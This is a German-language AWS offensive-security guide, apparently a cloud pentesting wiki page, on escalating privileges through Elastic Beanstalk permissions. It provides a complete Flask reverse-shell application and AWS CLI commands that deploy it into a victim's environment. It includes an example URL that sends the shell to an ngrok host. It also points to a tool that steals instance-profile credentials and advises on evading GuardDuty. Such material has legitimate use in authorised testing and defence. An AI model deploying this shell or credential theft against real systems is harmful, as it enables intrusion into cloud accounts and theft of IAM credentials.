Um sensible Aktionen in Beanstalk durchzuführen, benötigst du viele sensible Berechtigungen in vielen verschiedenen Diensten. Du kannst zum Beispiel die Berechtigungen überprüfen, die arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk gewährt.
elasticbeanstalk:RebuildEnvironment, S3 Schreibberechtigungen & viele andere
Mit Schreibberechtigungen über den S3-Bucket, der den Code der Umgebung enthält, und Berechtigungen, um die Anwendung zu rebuilden (es wird elasticbeanstalk:RebuildEnvironment und einige weitere, die mit S3, EC2 und Cloudformation zu tun haben, benötigt), kannst du den Codemodifizieren, die App neu aufbauen und beim nächsten Zugriff auf die App wird sie deinen neuen Code ausführen, was es dem Angreifer ermöglicht, die Anwendung und die IAM-Rollenanmeldeinformationen zu kompromittieren.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole und mehr...
Die genannten sowie mehrere S3, EC2, cloudformation, autoscaling und elasticloadbalancing Berechtigungen sind notwendig, um ein rohes Elastic Beanstalk-Szenario von Grund auf zu erstellen.
Erstellen Sie eine AWS Elastic Beanstalk-Anwendung:
Zuerst müssen Sie eine legitime Beanstalk-Umgebung mit dem Code erstellen, den Sie im Opfer ausführen möchten, indem Sie die vorherigen Schritte befolgen. Möglicherweise ein einfaches zip, das diese 2 Dateien enthält:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Sobald Sie Ihre eigene Beanstalk-Umgebung mit Ihrer Rev-Shell ausführen, ist es Zeit, sie in die Umgebung des Opfers zu migrieren. Dazu müssen Sie die Bucket-Richtlinie Ihres Beanstalk-S3-Buckets aktualisieren, damit das Opfer darauf zugreifen kann (Beachten Sie, dass dies den Bucket für JEDENöffnet):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.